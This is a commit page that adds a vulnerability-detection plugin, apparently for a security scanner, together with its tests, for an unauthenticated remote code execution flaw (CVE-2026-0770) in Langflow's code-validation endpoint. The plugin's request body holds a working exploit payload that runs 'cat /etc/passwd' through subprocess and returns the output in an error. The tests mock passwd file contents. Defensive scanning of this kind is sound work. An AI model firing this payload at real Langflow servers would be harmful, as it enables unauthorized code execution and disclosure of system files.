Skip to content

Commit 87265df

Browse files
Merge pull request #862 from sanjaymahajan14:feature2/cve-2026-0770
PiperOrigin-RevId: 945612680 Change-Id: I5ea7dd93fdd23bf66067a53996ccb55a19826720
2 parents e3a0efc + 89a4dfa commit 87265df

2 files changed

Lines changed: 149 additions & 0 deletions

File tree

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
# proto-file: proto/templated_plugin.proto
2+
# proto-message: TemplatedPlugin
3+
4+
###############
5+
# PLUGIN INFO #
6+
###############
7+
8+
info: {
9+
type: VULN_DETECTION
10+
name: "Langflow_CVE_2026_0770"
11+
author: "sanjaymahajan14"
12+
version: "1.0"
13+
}
14+
15+
finding: {
16+
main_id: {
17+
publisher: "GOOGLE"
18+
value: "CVE-2026-0770"
19+
}
20+
severity: CRITICAL
21+
title: "Langflow < 1.6.0 - exec_globals Remote Code Execution Vulnerability"
22+
description: "Langflow contains an unauthenticated remote code execution vulnerability caused by improper handling of the exec_globals parameter in the validate endpoint. The flaw results from the inclusion of functionality from an untrusted control sphere (CWE-829). A remote attacker can exploit this vulnerability to execute arbitrary code in the context of root."
23+
recommendation: "Upgrade Langflow version 1.6.0 or later. Do not expose Langflow instances directly to the internet and restrict access to validation endpoints."
24+
related_id: {
25+
publisher: "CVE"
26+
value: "CVE-2026-0770"
27+
}
28+
}
29+
30+
config: {}
31+
32+
###########
33+
# ACTIONS #
34+
###########
35+
36+
actions: {
37+
name: "fingerprint_langflow"
38+
http_request: {
39+
method: GET
40+
uri: "/"
41+
response: {
42+
http_status: 200
43+
expect_all: {
44+
conditions: [
45+
{ body: {} contains: "<title>Langflow</title>"}
46+
]
47+
}
48+
}
49+
}
50+
}
51+
52+
actions: {
53+
name: "detect_exec_globals_rce"
54+
http_request: {
55+
method: POST
56+
uri: "/api/v1/validate/code"
57+
headers: [
58+
{ name: "Content-Type" value: "application/json" }
59+
]
60+
data: "{\"code\":\"\\ndef exploit(\\n _=( lambda r: (_ for _ in ()).throw(Exception(f'OUTPUT:\\\\n{r.stdout}{r.stderr}')) )(\\n __import__('subprocess').run('cat /etc/passwd', shell=True, capture_output=True, text=True)\\n )\\n):\\n pass\\n\"}"
61+
response: {
62+
http_status: 200
63+
expect_all: {
64+
conditions: [
65+
{ body: {} contains: "root:x:0:0:root" }
66+
]
67+
}
68+
}
69+
}
70+
}
71+
72+
#############
73+
# WORKFLOWS #
74+
#############
75+
76+
workflows: {
77+
actions: [
78+
"fingerprint_langflow",
79+
"detect_exec_globals_rce"
80+
]
81+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
# proto-file: proto/templated_plugin_tests.proto
2+
# proto-message: TemplatedPluginTests
3+
4+
config: {
5+
tested_plugin: "Langflow_CVE_2026_0770"
6+
}
7+
8+
########
9+
# TESTS #
10+
########
11+
12+
tests: {
13+
name: "whenVulnerable_returnsTrue"
14+
expect_vulnerability: true
15+
mock_http_server: {
16+
mock_responses: [
17+
{
18+
uri: "/"
19+
status: 200
20+
body_content: "<!doctype html>\n<html lang=\"en\">\n <head>\n <title>Langflow</title>\n </head>\n <body><div id=\"root\"></div></body>\n</html>"
21+
},
22+
{
23+
uri: "/api/v1/validate/code"
24+
status: 200
25+
headers: [
26+
{ name: "Content-Type" value: "application/json" }
27+
]
28+
body_content: "{\"imports\":{\"errors\":[]},\"function\":{\"errors\":[\"b'root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nuser:x:1000:0::/app/data:/bin/sh\\n'\"]}}"
29+
}
30+
]
31+
}
32+
}
33+
34+
tests: {
35+
name: "whenNotVulnerable_returnsFalse"
36+
expect_vulnerability: false
37+
mock_http_server: {
38+
mock_responses: [
39+
{
40+
uri: "/"
41+
status: 200
42+
body_content: "<!doctype html>\n<html><head><title>Langflow</title></head></html>"
43+
},
44+
{
45+
uri: "/api/v1/validate/code"
46+
status: 200
47+
headers: [
48+
{ name: "Content-Type" value: "application/json" }
49+
]
50+
body_content: "{\"imports\":{\"errors\":[]},\"function\":{\"errors\":[]}}"
51+
}
52+
]
53+
}
54+
}
55+
56+
tests: {
57+
name: "whenNotLangflow_returnsFalse"
58+
expect_vulnerability: false
59+
mock_http_server: {
60+
mock_responses: [
61+
{
62+
uri: "TSUNAMI_MAGIC_ANY_URI"
63+
status: 200
64+
body_content: "Hello world"
65+
}
66+
]
67+
}
68+
}

0 commit comments

Comments
 (0)